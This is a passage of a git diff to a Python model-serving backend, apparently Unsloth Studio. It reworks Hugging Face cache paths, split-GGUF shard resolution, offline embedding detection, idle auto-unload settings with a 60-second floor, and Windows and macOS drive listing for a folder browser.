     try:
         result = subprocess.run(
             [
                 sys.executable,
                 "-c",
                 _VISION_CHECK_SCRIPT,
-                _VENV_T5_DIR,
+                sidecar_dir,
                 _BACKEND_DIR,
                 model_name,
                 token_arg,
@@ -741,7 +775,7 @@ def _is_vision_model_subprocess(model_name: str, hf_token: Optional[str] = None)
             capture_output = True,
             text = True,
             timeout = 60,
-            env = child_env_without_native_path_secret(),
+            env = get_hf_cache_paths().child_env(child_env_without_native_path_secret()),
             **_windows_hidden_subprocess_kwargs(),
         )
 
@@ -876,6 +910,17 @@ def _is_vision_model_uncached(
         model_name, hf_token = hf_token, local_files_only = local_files_only
     )
     if raw is not None:
+        if raw is False and not local_files_only:
+            # Raw heuristics predate latest-only architectures; on the latest tier,
+            # trust that sidecar's AutoConfig probe over the heuristic False. An
+            # inconclusive probe (sidecar mid-repair, timeout) is transient: return
+            # None so the heuristic False is not cached and the model is re-probed.
+            try:
+                from utils.transformers_version import get_transformers_tier
+                if get_transformers_tier(model_name, hf_token, probe = False) == "latest":
+                    return _is_vision_model_subprocess(model_name, hf_token = hf_token)
+            except Exception:
+                pass
         return raw
 
     # Raw read failed transiently: fall back to AutoConfig (remote code DISABLED), via a
@@ -1209,6 +1254,77 @@ def _iter_gguf_files(directory: Path, recursive: bool = False):
             yield f
 
 
+_GGUF_SPLIT_FILE_RE = re.compile(
+    r"^(?P<prefix>.+)-(?P<index>\d{5})-of-(?P<total>\d{5})\.gguf$",
+    re.IGNORECASE,
+)
+
+
+def _colocated_first_split_shard(path: Path) -> tuple[Optional[Path], bool]:
+    """Return shard 1 and whether every shard is beside *path*."""
+    match = _GGUF_SPLIT_FILE_RE.match(path.name)
+    if match is None:
+        return None, False
+
+    prefix = match.group("prefix").casefold()
+    total_text = match.group("total")
+    total = int(total_text)
+    if total < 1:
+        return None, False
+
+    first: Optional[Path] = None
+    indices: set[int] = set()
+    try:
+        siblings = path.parent.iterdir()
+        for sibling in siblings:
+            sibling_match = _GGUF_SPLIT_FILE_RE.match(sibling.name)
+            if (
+                sibling_match is None
+                or sibling_match.group("prefix").casefold() != prefix
+                or sibling_match.group("total") != total_text
+            ):
+                continue
+            try:
+                if not sibling.is_file():
+                    continue
+            except OSError:
+                continue
+            index = int(sibling_match.group("index"))
+            if not 1 <= index <= total:
+                continue
+            indices.add(index)
+            if index == 1:
+                first = sibling
+    except OSError:
+        return None, False
+
+    return first, first is not None and len(indices) == total
+
+
+def _local_gguf_load_path(path: Path) -> Path:
+    """Choose a loadable local path while preserving complete symlink sets."""
+    if _GGUF_SPLIT_FILE_RE.match(path.name) is None:
+        return path.absolute()
+
+    first, complete = _colocated_first_split_shard(path)
+    if complete and first is not None:
+        return first.absolute()
+
+    try:
+        is_symlink = path.is_symlink()
+    except OSError:
+        is_symlink = False
+    if is_symlink:
+        try:
+            target = path.resolve()
+        except OSError:
+            return (first or path).absolute()
+        target_first, _ = _colocated_first_split_shard(target)
+        return (target_first or target).absolute()
+
+    return (first or path).absolute()
+
+
 def detect_mmproj_file(path: str, search_root: Optional[str] = None) -> Optional[str]:
     """Find the mmproj GGUF for a model.
 
@@ -1394,7 +1510,7 @@ def detect_gguf_model(path: str) -> Optional[str]:
         except OSError:
             is_dir = False  # stat() unavailable in the lock window
         if not is_dir:
-            return str(p.absolute())  # absolute() keeps symlink names readable
+            return str(_local_gguf_load_path(p))
         # Directory named "*.gguf": fall through to the dir scan below.
 
     # Case 2: directory containing .gguf files (skip mmproj / MTP drafter)
@@ -1412,7 +1528,7 @@ def detect_gguf_model(path: str) -> Optional[str]:
             gguf_files.append(f)
         gguf_files.sort(key = lambda f: f.stat().st_size, reverse = True)
         if gguf_files:
-            return str(gguf_files[0].resolve())
+            return str(_local_gguf_load_path(gguf_files[0]))
 
     return None
 
@@ -1603,50 +1719,75 @@ def _local_gguf_companion_search_root(selected_path: str, gguf_file: str) -> str
     return str(gguf_dir)
 
 
-def _iter_hf_cache_snapshots(repo_id: str):
+def _iter_hf_cache_snapshots(repo_id: str, cache_dir: Optional[str | Path] = None):
     """Yield HF cache snapshot dirs for *repo_id*, newest first.
 
     Empty if HF_HUB_CACHE is missing, the repo isn't cached, or has no
     snapshots. Repo name match is case-insensitive to handle casing drift
     between download time and lookup.
     """
-    try:
-        from huggingface_hub import constants as hf_constants
-    except Exception:
-        return
-
-    cache_dir = Path(hf_constants.HF_HUB_CACHE)
+    if cache_dir is None:
+        try:
+            from utils.hf_cache_settings import get_hf_cache_paths
+            cache_dir = get_hf_cache_paths().hub_cache
+        except Exception:
+            return
+    cache_dir = Path(cache_dir)
     target = f"models--{repo_id.replace('/', '--')}".lower()
-    repo_dir: Optional[Path] = None
+    repo_dirs: list[Path] = []
     try:
         if not cache_dir.is_dir():
             return
         for entry in cache_dir.iterdir():
             if entry.is_dir() and entry.name.lower() == target:
-                repo_dir = entry
-                break
+                repo_dirs.append(entry)
     except OSError:
         return
-    if repo_dir is None:
+    if not repo_dirs:
         return
 
-    snapshots = repo_dir / "snapshots"
-    try:
-        if not snapshots.is_dir():
-            return
-        snap_dirs = [s for s in snapshots.iterdir() if s.is_dir()]
-    except OSError:
+    snap_dirs: list[Path] = []
+    for repo_dir in repo_dirs:
+        snapshots = repo_dir / "snapshots"
+        try:
+            if snapshots.is_dir():
+                for snap_dir in snapshots.iterdir():
+                    try:
+                        if snap_dir.is_dir():
+                            snap_dirs.append(snap_dir)
+                    except OSError:
+                        continue
+        except OSError:
+            continue
+    if not snap_dirs:
         return
-    snap_dirs.sort(key = lambda s: s.stat().st_mtime, reverse = True)
-    yield from snap_dirs
+    snap_dirs_with_mtime = []
+    for snap_dir in snap_dirs:
+        try:
+            snap_dirs_with_mtime.append((snap_dir.stat().st_mtime, snap_dir))
+        except OSError:
+            continue
+    snap_dirs_with_mtime.sort(key = lambda item: item[0], reverse = True)
+    yield from (snap_dir for _, snap_dir in snap_dirs_with_mtime)
 
 
 def _list_gguf_variants_from_hf_cache(repo_id: str) -> Optional[tuple[list[GgufVariantInfo], bool]]:
-    """Variants from the local HF cache snapshot, or None if not cached."""
+    """Variants from the local HF cache snapshot, or None if not cached.
+
+    A newer snapshot can hold only a companion file (for example a vision
+    projector fetched on demand) while the quant files live in an older
+    snapshot. Returning the first snapshot that merely reports a vision flag
+    would shadow those real variants, so keep scanning older snapshots for
+    actual variants and carry the vision flag across snapshots.
+    """
+    any_vision = False
     for snap in _iter_hf_cache_snapshots(repo_id):
         variants, has_vision = list_local_gguf_variants(str(snap))
-        if variants or has_vision:
-            return variants, has_vision
+        any_vision = any_vision or has_vision
+        if variants:
+            return variants, any_vision
+    if any_vision:
+        return [], True
     return None
 
 
@@ -1815,7 +1956,7 @@ def _find_local_gguf_by_variant(directory: str, variant: str) -> Optional[str]:
     For sharded GGUFs (multiple files sharing a quant label), returns the
     first shard (sorted by name), which is what ``llama-server -m`` expects.
 
-    Returns the resolved absolute path, or ``None`` if no match.
+    Returns the absolute path, or ``None`` if no match.
     """
     p = _resolve_gguf_dir(Path(directory))
     if p is None:
@@ -1836,7 +1977,7 @@ def _find_local_gguf_by_variant(directory: str, variant: str) -> Optional[str]:
         matches.append(f)
     matches.sort()
     if matches:
-        return str(matches[0].resolve())
+        return str(_local_gguf_load_path(matches[0]))
     return None
 
 
@@ -1933,6 +2074,7 @@ def download_gguf_file(
         repo_id = repo_id,
         filename = filename,
         token = hf_token,
+        cache_dir = active_hf_hub_cache(),
     )
     return local_path
 
@@ -1941,6 +2083,24 @@ def download_gguf_file(
 _embedding_detection_cache: Dict[tuple, bool] = {}
 
 
+# Bound the Hub lookup so a DNS-dead session fails fast to the cache instead of hanging on retries.
+_HUB_MODEL_INFO_TIMEOUT = 15.0
+
+
+def _embedding_marker_in_hf_cache(model_name: str) -> bool:
+    """True when model_name's cached snapshot carries a modules.json (the ST marker).
+    Cache-only, no network; used offline and as a fallback when the Hub lookup times out."""
+    from utils.utils import hf_cache_snapshot_dir
+
+    snapshot = hf_cache_snapshot_dir(model_name)
+    if snapshot is None:
+        return False
+    try:
+        return (snapshot / "modules.json").is_file()
+    except OSError:
+        return False
+
+
 def is_embedding_model(model_name: str, hf_token: Optional[str] = None) -> bool:
     """Detect embedding/sentence-transformer models via HF metadata.
 
@@ -1955,6 +2115,15 @@ def is_embedding_model(model_name: str, hf_token: Optional[str] = None) -> bool:
     Returns:
         True if embedding model, else False (default for local paths or errors).
     """
+    from utils.utils import hf_env_offline
+
+    # Offline (remote repo): reclassify from the local cache on every call, before/without the
+    # memo. An online lookup can memoize True from tags with no weights cached, so trusting it once
+    # the session goes offline would accept a repo _get() cannot load; a cached negative can also be
+    # invalidated by later cache materialization. The cache probe is local-only, so it's cheap.
+    if not is_local_path(model_name) and hf_env_offline():
+        return _embedding_marker_in_hf_cache(model_name)
+
     cache_key = (model_name, hf_token)
     if cache_key in _embedding_detection_cache:
         return _embedding_detection_cache[cache_key]
@@ -1969,7 +2138,7 @@ def is_embedding_model(model_name: str, hf_token: Optional[str] = None) -> bool:
     try:
         from huggingface_hub import model_info as hf_model_info
 
-        info = hf_model_info(model_name, token = hf_token)
+        info = hf_model_info(model_name, token = hf_token, timeout = _HUB_MODEL_INFO_TIMEOUT)
         tags = set(info.tags or [])
         pipeline_tag = info.pipeline_tag or ""
 
@@ -1990,9 +2159,11 @@ def is_embedding_model(model_name: str, hf_token: Optional[str] = None) -> bool:
         return is_emb
 
     except Exception as e:
+        # Timeout or transient network error: fall back to the local cache marker, don't hard-fail.
         logger.warning(f"Could not determine if {model_name} is embedding model: {e}")
-        _embedding_detection_cache[cache_key] = False
-        return False
+        is_emb = _embedding_marker_in_hf_cache(model_name)
+        _embedding_detection_cache[cache_key] = is_emb
+        return is_emb
 
 
 def _has_model_weight_files(model_dir: Path) -> bool:
@@ -2019,7 +2190,7 @@ def _has_model_weight_files(model_dir: Path) -> bool:
 
 
 def _detect_training_output_type(model_dir: Path) -> Optional[str]:
-    """Classify a Studio training output as LoRA or full finetune."""
+    """Classify an Unsloth training output as LoRA or full finetune."""
     adapter_config = model_dir / "adapter_config.json"
     adapter_model = model_dir / "adapter_model.safetensors"
     if adapter_config.exists() or adapter_model.exists():
@@ -2041,7 +2212,7 @@ def _looks_like_lora_adapter(model_dir: Path) -> bool:
 
 
 def scan_trained_models(outputs_dir: str = str(outputs_root())) -> List[Tuple[str, str, str]]:
-    """Scan outputs folder for trained Studio models.
+    """Scan outputs folder for trained Unsloth models.
 
     Returns:
         List of (display_name, model_path, model_type), where model_type is
@@ -2352,7 +2523,10 @@ def get_base_model_from_lora_identifier(
     for _attempt in range(2):  # one retry: a transient blip must not skip the base
         try:
             cfg_path = hf_hub_download(
-                identifier, "adapter_config.json", token = hf_token if hf_token else None
+                identifier,
+                "adapter_config.json",
+                token = hf_token if hf_token else None,
+                cache_dir = active_hf_hub_cache(),
             )
         except (EntryNotFoundError, RepositoryNotFoundError):
             # No adapter_config.json -> not a resolvable LoRA; caller scans the identifier.
@@ -2732,7 +2906,12 @@ class ModelConfig:
                 try:
                     from huggingface_hub import hf_hub_download
 
-                    config_path = hf_hub_download(identifier, "adapter_config.json", token = hf_token)
+                    config_path = hf_hub_download(
+                        identifier,
+                        "adapter_config.json",
+                        token = hf_token,
+                        cache_dir = active_hf_hub_cache(),
+                    )
                     with open(config_path, "r") as f:
                         adapter_config = json.load(f)
                     base_model = adapter_config.get("base_model_name_or_path")
diff --git a/studio/backend/utils/native_path_leases.py b/studio/backend/utils/native_path_leases.py
index 08671cfe39..3ed7faa7c2 100644
--- a/studio/backend/utils/native_path_leases.py
+++ b/studio/backend/utils/native_path_leases.py
@@ -15,6 +15,7 @@ import base64
 import binascii
 import hashlib
 import hmac
+import importlib
 import json
 import os
 import stat as _stat_module
@@ -35,7 +36,7 @@ _USED_NONCES: dict[str, int] = {}
 _REDACTION_LOCK = threading.Lock()
 _NATIVE_PATH_REDACTIONS: list[str] = []
 _NATIVE_PATH_LABELS: dict[str, str] = {}
-_NATIVE_PATH_ENV_LOCK = threading.Lock()
+_NATIVE_PATH_ENV_LOCK = threading.RLock()
 _SECRET_INIT_LOCK = threading.Lock()
 _CACHED_LEASE_SECRET: bytes | None = None
 _SCRUB_REFCOUNT = 0
@@ -80,7 +81,9 @@ def child_env_without_native_path_secret(env: Mapping[str, str] | None = None) -
     return cleaned
 
 
-def run_without_native_path_secret(target: Callable[..., Any], *args: Any, **kwargs: Any) -> Any:
+def run_without_native_path_secret(
+    target: Callable[..., Any] | str, *args: Any, **kwargs: Any
+) -> Any:
     """Run a multiprocessing child target without the native path lease secret."""
 
     # Runs in the spawned child: bind it to the parent's death (Linux), since
@@ -96,6 +99,11 @@ def run_without_native_path_secret(target: Callable[..., Any], *args: Any, **kwa
     os.environ.pop(LEASE_SECRET_ENV, None)
     _CACHED_LEASE_SECRET = None
     _SCRUB_SAVED_SECRET = None
+    if isinstance(target, str):
+        function_name, environment, *args = args
+        for key, value in environment.items():
+            os.environ[key] = value
+        target = getattr(importlib.import_module(target), function_name)
     return target(*args, **kwargs)
 
 
@@ -107,10 +115,9 @@ def native_path_secret_removed_for_child_start() -> Iterator[None]:
             _SCRUB_SAVED_SECRET = os.environ.pop(LEASE_SECRET_ENV, None)
             _CACHED_LEASE_SECRET = None
         _SCRUB_REFCOUNT += 1
-    try:
-        yield
-    finally:
-        with _NATIVE_PATH_ENV_LOCK:
+        try:
+            yield
+        finally:
             _SCRUB_REFCOUNT -= 1
             if _SCRUB_REFCOUNT == 0 and _SCRUB_SAVED_SECRET is not None:
                 os.environ[LEASE_SECRET_ENV] = _SCRUB_SAVED_SECRET
diff --git a/studio/backend/utils/openai_auto_switch_settings.py b/studio/backend/utils/openai_auto_switch_settings.py
index 1689395f40..7007440f4c 100644
--- a/studio/backend/utils/openai_auto_switch_settings.py
+++ b/studio/backend/utils/openai_auto_switch_settings.py
@@ -8,7 +8,9 @@ Two settings, both off by default so existing API behavior is unchanged:
   names a downloaded local GGUF different from the loaded one transparently
   loads it before serving (llama-swap-style). Unknown names pass through.
 - ``openai_api_auto_unload_idle_seconds``: when > 0, the loaded GGUF is
-  unloaded after this many idle seconds to free VRAM.
+  unloaded after this many idle seconds to free VRAM. Enabled values have a
+  60s floor (0 stays "off"): a tiny TTL tears the model down between turns of
+  an active chat, forcing a full weight reload + prompt re-prefill per turn.
 
 The idle TTL can also be set at startup via the ``UNSLOTH_MODEL_IDLE_TTL`` env
 var. Unlike the stored setting (which stays gated on auto-switch), the env value
@@ -28,11 +30,14 @@ from typing import Any, Optional
 
 OPENAI_AUTO_SWITCH_SETTING_KEY = "openai_api_auto_switch_model"
 AUTO_UNLOAD_IDLE_SETTING_KEY = "openai_api_auto_unload_idle_seconds"
+AUTO_UNLOAD_KEEP_KV_SETTING_KEY = "openai_api_auto_unload_keep_kv"
 MODEL_OVERRIDES_SETTING_KEY = "openai_api_auto_switch_overrides"
 MODEL_IDLE_TTL_ENV_VAR = "UNSLOTH_MODEL_IDLE_TTL"
 
 DEFAULT_OPENAI_AUTO_SWITCH_ENABLED = False
 DEFAULT_AUTO_UNLOAD_IDLE_SECONDS = 0
+DEFAULT_AUTO_UNLOAD_KEEP_KV = True
+MIN_AUTO_UNLOAD_IDLE_SECONDS = 60
 
 _CACHE_TTL_S = 2.0
 _cache_lock = threading.Lock()
@@ -58,6 +63,10 @@ def _coerce_int(value: Any) -> int | None:
         return None
 
 
+def _apply_idle_floor(seconds: int) -> int:
+    return 0 if seconds <= 0 else max(MIN_AUTO_UNLOAD_IDLE_SECONDS, seconds)
+
+
 def _cached_setting(key: str, default: Any) -> Any:
     """Read an app setting, memoized for _CACHE_TTL_S to spare the hot path."""
     now = time.monotonic()
@@ -91,12 +100,34 @@ def _stored_idle_seconds() -> Optional[int]:
     return _coerce_int(_cached_setting(AUTO_UNLOAD_IDLE_SETTING_KEY, None))
 
 
+_env_floor_warned = False
+
+
 def _env_idle_seconds() -> Optional[int]:
-    """UNSLOTH_MODEL_IDLE_TTL as a non-negative seconds value, or None if unset/invalid."""
+    """UNSLOTH_MODEL_IDLE_TTL as a non-negative seconds value, or None if unset/invalid.
+
+    Floored to MIN_AUTO_UNLOAD_IDLE_SECONDS here (with a one-time warning) since
+    headless/container deploys have no UI to surface a validation error."""
     raw = os.environ.get(MODEL_IDLE_TTL_ENV_VAR)
     if raw is None or not raw.strip():
         return None
-    return _coerce_int(raw)
+    parsed = _coerce_int(raw)
+    if parsed is None:
+        return None
+    floored = _apply_idle_floor(parsed)
+    if floored != parsed:
+        global _env_floor_warned
+        if not _env_floor_warned:
+            _env_floor_warned = True
+            from loggers import get_logger
+            get_logger(__name__).warning(
+                "%s=%s is below the %ss minimum; using %ss",
+                MODEL_IDLE_TTL_ENV_VAR,
+                parsed,
+                MIN_AUTO_UNLOAD_IDLE_SECONDS,
+                floored,
+            )
+    return floored
 
 
 def get_stored_auto_unload_idle_seconds() -> int:
@@ -108,7 +139,9 @@ def get_stored_auto_unload_idle_seconds() -> int:
     """
     stored = _stored_idle_seconds()
     if stored is not None:
-        return stored
+        # Floor legacy values persisted before the minimum existed, so the UI
+        # displays the effective TTL and round-trips it cleanly.
+        return _apply_idle_floor(stored)
     env = _env_idle_seconds()
     return env if env is not None else DEFAULT_AUTO_UNLOAD_IDLE_SECONDS
 
@@ -118,32 +151,63 @@ def get_auto_unload_idle_seconds() -> int:
     stored = _stored_idle_seconds()
     if stored is not None:
         # An explicit UI/API value stays gated on auto-switch: off reports 0 so the
-        # off state is identical to pre-feature.
-        return stored if get_openai_auto_switch_enabled() else 0
+        # off state is identical to pre-feature. Floored to cover values persisted
+        # before the minimum existed.
+        return _apply_idle_floor(stored) if get_openai_auto_switch_enabled() else 0
     # No stored value: UNSLOTH_MODEL_IDLE_TTL is a standalone startup default that
     # enables idle-unload even with auto-switch off (headless/container deploys).
     env = _env_idle_seconds()
     return env if env is not None else 0
 
 
-def set_openai_auto_switch(enabled: Any, idle_seconds: Any) -> tuple[bool, int]:
-    """Set both auto-switch flags in one transaction so a settings PUT can't leave
-    one key updated and the other stale. Both values are coerced before any write,
-    so an invalid value raises without persisting either."""
+def get_auto_unload_keep_kv() -> bool:
+    """Whether the idle unload persists slot KV to disk for restore on reload."""
+    parsed = _coerce_bool(_cached_setting(AUTO_UNLOAD_KEEP_KV_SETTING_KEY, None))
+    return parsed if parsed is not None else DEFAULT_AUTO_UNLOAD_KEEP_KV
+
+
+def set_openai_auto_switch(
+    enabled: Any,
+    idle_seconds: Any,
+    keep_kv: Any = None,
+) -> tuple[bool, int, bool]:
+    """One-transaction write; ``None`` leaves a stored value untouched."""
     parsed_enabled = _coerce_bool(enabled)
     if parsed_enabled is None:
         raise ValueError("OpenAI auto-switch must be true or false.")
-    parsed_idle = _coerce_int(idle_seconds)
-    if parsed_idle is None:
-        raise ValueError("Auto-unload idle seconds must be a non-negative integer.")
+    parsed_idle = None
+    if idle_seconds is not None:
+        parsed_idle = _coerce_int(idle_seconds)
+        if parsed_idle is None:
+            raise ValueError("Auto-unload idle seconds must be a non-negative integer.")
+        if 0 < parsed_idle < MIN_AUTO_UNLOAD_IDLE_SECONDS:
+            raise ValueError(
+                f"Auto-unload idle seconds must be 0 (off) or at least "
+                f"{MIN_AUTO_UNLOAD_IDLE_SECONDS}."
+            )
+    parsed_keep_kv = None
+    if keep_kv is not None:
+        parsed_keep_kv = _coerce_bool(keep_kv)
+        if parsed_keep_kv is None:
+            raise ValueError("Keep KV on idle unload must be true or false.")
     from storage.studio_db import upsert_app_settings
 
-    upsert_app_settings(
-        {OPENAI_AUTO_SWITCH_SETTING_KEY: parsed_enabled, AUTO_UNLOAD_IDLE_SETTING_KEY: parsed_idle}
-    )
+    updates: dict[str, Any] = {OPENAI_AUTO_SWITCH_SETTING_KEY: parsed_enabled}
+    if parsed_idle is not None:
+        updates[AUTO_UNLOAD_IDLE_SETTING_KEY] = parsed_idle
+    if parsed_keep_kv is not None:
+        updates[AUTO_UNLOAD_KEEP_KV_SETTING_KEY] = parsed_keep_kv
+    upsert_app_settings(updates)
     _invalidate(OPENAI_AUTO_SWITCH_SETTING_KEY)
-    _invalidate(AUTO_UNLOAD_IDLE_SETTING_KEY)
-    return parsed_enabled, parsed_idle
+    if parsed_idle is not None:
+        _invalidate(AUTO_UNLOAD_IDLE_SETTING_KEY)
+    if parsed_keep_kv is not None:
+        _invalidate(AUTO_UNLOAD_KEEP_KV_SETTING_KEY)
+    return (
+        parsed_enabled,
+        parsed_idle if parsed_idle is not None else get_stored_auto_unload_idle_seconds(),
+        parsed_keep_kv if parsed_keep_kv is not None else get_auto_unload_keep_kv(),
+    )
 
 
 def get_model_overrides() -> dict[str, dict]:
diff --git a/studio/backend/utils/paths/external_media.py b/studio/backend/utils/paths/external_media.py
index 1f1754664f..1a0d2d2746 100644
--- a/studio/backend/utils/paths/external_media.py
+++ b/studio/backend/utils/paths/external_media.py
@@ -8,6 +8,10 @@ from __future__ import annotations
 import getpass
 import os
 import platform
+import string
+import threading
+import time
+from collections.abc import Iterable
 from pathlib import Path
 
 from utils.paths.sensitive import (
@@ -16,6 +20,33 @@ from utils.paths.sensitive import (
 )
 
 
+def is_local_filesystem_root(path: str, *, _pathmod = os.path) -> bool:
+    """True for a bare local filesystem root -- POSIX ``/``, a drive root ``C:\\``,
+    or a device-namespace volume root like ``\\\\?\\C:\\`` or
+    ``\\\\?\\Volume{GUID}\\`` -- which sit above denied system dirs, but NOT a UNC
+    share root (``\\\\server\\share`` or its ``\\\\?\\UNC\\...`` form), which has
+    none under it and was registerable before this guard. ``splitdrive`` is empty
+    on POSIX servers, so this reduces to the plain ``dirname == self`` test there.
+    ``_pathmod`` lets tests drive ``ntpath`` semantics on a POSIX CI.
+    """
+    # Resolve the Windows device / extended-length namespace, where \\?\C:\,
+    # \\.\C:\ and \\?\Volume{GUID}\ are all bare LOCAL volume roots (rejected)
+    # while only \\?\UNC\server\share is a UNC share (handled like \\server\share).
+    if path[:4].lower() in ("\\\\?\\", "\\\\.\\"):
+        rest = path[4:]
+        if rest[:4].lower() == "unc\\":
+            path = "\\\\" + rest[4:]
+        else:
+            # A device volume root is just the volume specifier (C:, Volume{GUID})
+            # with no further component; a deeper path is an ordinary folder.
+            core = rest.rstrip("\\/")
+            return "\\" not in core and "/" not in core
+    if _pathmod.dirname(path) != path:
+        return False
+    drive, _ = _pathmod.splitdrive(path)
+    return drive[:2] not in ("\\\\", "//")
+
+
 def _is_linux_media_mount_path(path: str, media_root: Path | str) -> bool:
     normalized = os.path.normpath(os.path.realpath(os.path.expanduser(path)))
     root = os.path.normpath(os.path.realpath(os.path.expanduser(str(media_root))))
@@ -98,3 +129,124 @@ def linux_run_media_mount_roots(
             seen.add(key)
             roots.append(resolved)
     return roots
+
+
+def macos_volume_roots(base: Path | str = "/Volumes") -> list[Path]:
+    """Readable mounted volumes for the macOS folder browser."""
+
+    if platform.system() != "Darwin":
+        return []
+    base_path = Path(base)
+    try:
+        entries = list(base_path.iterdir())
+    except OSError:
+        return []
+    roots: list[Path] = []
+    for entry in entries:
+        if is_sensitive_path_component(entry.name):
+            continue
+        try:
+            resolved = entry.resolve()
+            if resolved.is_dir() and os.access(resolved, os.R_OK | os.X_OK):
+                roots.append(resolved)
+        except (OSError, RuntimeError, ValueError):
+            continue
+    return roots
+
+
+def _active_windows_drive_bitmask() -> int:
+    """Active-logical-drive bitmask from ``GetLogicalDrives`` (bit 0 = ``A:``), or ``0`` when unavailable.
+
+    A fast non-blocking call that lets :func:`windows_drive_roots` skip the
+    ``os.path.isdir`` probe on unmapped letters. A disconnected network mapping
+    stays set here, so it does not guard the reconnect stall on its own;
+    :func:`windows_drive_roots` bounds each surviving probe too. Returns ``0``
+    (probe every letter) when ctypes/``windll`` is missing.
+    """
+    try:
+        import ctypes
+        return int(ctypes.windll.kernel32.GetLogicalDrives())
+    except Exception:  # noqa: BLE001 -- best-effort; fall back to probing all letters
+        return 0
+
+
+# A disconnected mapped drive stays set in the GetLogicalDrives bitmask, so
+# ``os.path.isdir`` on it can block for tens of seconds. Bound each drive probe
+# so one stale mapping cannot stall a whole folder-browser request.
+_DRIVE_PROBE_TIMEOUT_S = 2.0
+
+
+def _readable_dirs_within(paths: Iterable[str], timeout: float) -> set[str]:
+    """Which of *paths* are readable directories, probed concurrently under one overall *timeout* (seconds).
+
+    Each path is checked (``os.path.isdir`` + ``os.access(R_OK)``) in its own
+    daemon thread and the call waits at most *timeout* total, not per path, so N
+    stalled network drives add ~timeout instead of N*timeout. A path not
+    answering ``True`` by the deadline is treated as unreadable. The daemon
+    threads are never joined past the deadline, so a stuck OS call cannot delay
+    interpreter exit or block the caller (``os.path.isdir`` releases the GIL).
+    """
+    paths = list(paths)  # fixed input we can iterate twice; one probe per path
+    results: dict[str, bool] = {}
+
+    def _probe(path: str) -> None:
+        try:
+            results[path] = os.path.isdir(path) and os.access(path, os.R_OK)
+        except OSError:
+            results[path] = False
+
+    threads: list[threading.Thread] = []
+    for path in paths:
+        thread = threading.Thread(target = _probe, args = (path,), daemon = True)
+        thread.start()
+        threads.append(thread)
+
+    deadline = time.monotonic() + timeout
+    for thread in threads:
+        thread.join(max(0.0, deadline - time.monotonic()))
+
+    # Iterate the fixed input, not results.items(): a probe that timed out is
+    # still alive and may insert its key here, which would raise "dictionary
+    # changed size during iteration". results.get() is an atomic read.
+    return {path for path in paths if results.get(path)}
+
+
+def _readable_dir_within(path: str, timeout: float) -> bool:
+    """``os.path.isdir(path) and os.access(path, R_OK)``, bounded by *timeout* seconds; single-path wrapper over :func:`_readable_dirs_within`."""
+    return path in _readable_dirs_within((path,), timeout)
+
+
+def windows_drive_roots(drive_letters: Iterable[str] = string.ascii_uppercase) -> list[Path]:
+    """Readable logical drive roots (``C:\\``, ``D:\\`` ...) for the folder browser; the Windows analog of :func:`linux_run_media_mount_roots`.
+
+    Without it the allowlist and chips only reach the home drive, so a user
+    cannot navigate from ``C:`` to ``D:``/``E:``. ``GetLogicalDrives`` drops
+    unmapped letters; the rest are probed concurrently under a single timeout
+    and kept only if readable in time. A disconnected mapped drive stays active
+    in the bitmask and its ``os.path.isdir`` can hang for tens of seconds, so
+    parallel probing bounds the added delay at ~one timeout rather than one per
+    drive. Returns ``[]`` off Windows.
+    """
+    if platform.system() != "Windows":
+        return []
+
+    active_mask = _active_windows_drive_bitmask()
+    candidates: list[str] = []
+    seen: set[str] = set()
+    for letter in drive_letters:
+        letter = letter.strip().rstrip(":").upper()
+        if len(letter) != 1 or letter not in string.ascii_uppercase:
+            continue
+        if active_mask and not active_mask & (1 << (ord(letter) - ord("A"))):
+            continue
+        root_text = f"{letter}:\\"
+        key = os.path.normcase(root_text)
+        if key in seen:
+            continue
+        seen.add(key)
+        candidates.append(root_text)
+
+    # Bounded concurrent probe: an active bitmask bit can still be a
+    # disconnected mapping whose os.path.isdir blocks, so probe all at once.
+    readable = _readable_dirs_within(candidates, _DRIVE_PROBE_TIMEOUT_S)
+    return [Path(root_text) for root_text in candidates if root_text in readable]
diff --git a/studio/backend/utils/paths/path_utils.py b/studio/backend/utils/paths/path_utils.py
index e8dabc8954..65541661f1 100644
--- a/studio/backend/utils/paths/path_utils.py
+++ b/studio/backend/utils/paths/path_utils.py
@@ -122,15 +122,8 @@ def is_model_cached(model_name: str) -> bool:
 
 def _hf_hub_cache_dir() -> Path:
     """Return HF cache root honoring HF_HUB_CACHE when available."""
-    try:
-        from huggingface_hub.constants import HF_HUB_CACHE
-        return Path(HF_HUB_CACHE)
-    except Exception as exc:
-        logger.debug(
-            "Could not read huggingface_hub HF_HUB_CACHE, using default hub path: %s",
-            exc,
-        )
-        return Path.home() / ".cache" / "huggingface" / "hub"
+    from utils.hf_cache_settings import get_hf_cache_paths
+    return get_hf_cache_paths().hub_cache
 
 
 def resolve_cached_repo_id_case(model_name: str, use_memo: bool = True) -> str:
diff --git a/studio/backend/utils/paths/storage_roots.py b/studio/backend/utils/paths/storage_roots.py
index 759681da3f..cea3cc61e3 100644
--- a/studio/backend/utils/paths/storage_roots.py
+++ b/studio/backend/utils/paths/storage_roots.py
@@ -36,7 +36,7 @@ def _infer_studio_home_from_venv() -> Path | None:
 
 
 def studio_root() -> Path:
-    """Studio install root.
+    """Unsloth install root.
 
     Priority: UNSLOTH_STUDIO_HOME, then STUDIO_HOME alias, then sys.prefix
     inference, then legacy ~/.unsloth/studio. UNSLOTH_STUDIO_HOME wins if
@@ -61,8 +61,13 @@ def cache_root() -> Path:
     return studio_root() / "cache"
 
 
+def llama_slot_cache_root() -> Path:
+    """Dir llama-server saves/restores slot KV state in across idle unloads."""
+    return cache_root() / "llama-slots"
+
+
 def studio_bin_root() -> Path:
-    """Dir for Studio-managed executables (the `unsloth` shim, downloaded tools like cloudflared)."""
+    """Dir for Unsloth-managed executables (the `unsloth` shim, downloaded tools like cloudflared)."""
     return studio_root() / "bin"
 
 
@@ -272,27 +277,15 @@ def well_known_model_dirs() -> list[Path]:
 def _setup_cache_env() -> None:
     """Set cache env vars for HuggingFace, uv, and vLLM.
 
-    Respects the standard HF cache chain (explicit HF_HOME / HF_HUB_CACHE,
-    then XDG_CACHE_HOME, then ~/.cache/huggingface) and only sets vars the
-    user hasn't, so explicit overrides are honored. A user-set HF_HOME also
-    seeds HF_HUB_CACHE / HF_XET_CACHE (HF defaults them to $HF_HOME/hub and
-    $HF_HOME/xet); without this, models download to and load from the standard
-    cache even when HF_HOME points elsewhere, and both the Xet and HTTP-fallback
-    download paths inherit the same wrong root.
+    Explicit Hugging Face environment variables take precedence over Studio's
+    stored location. Studio seeds import-time variables once, while each later
+    worker receives its own captured cache location.
     """
     root = cache_root()
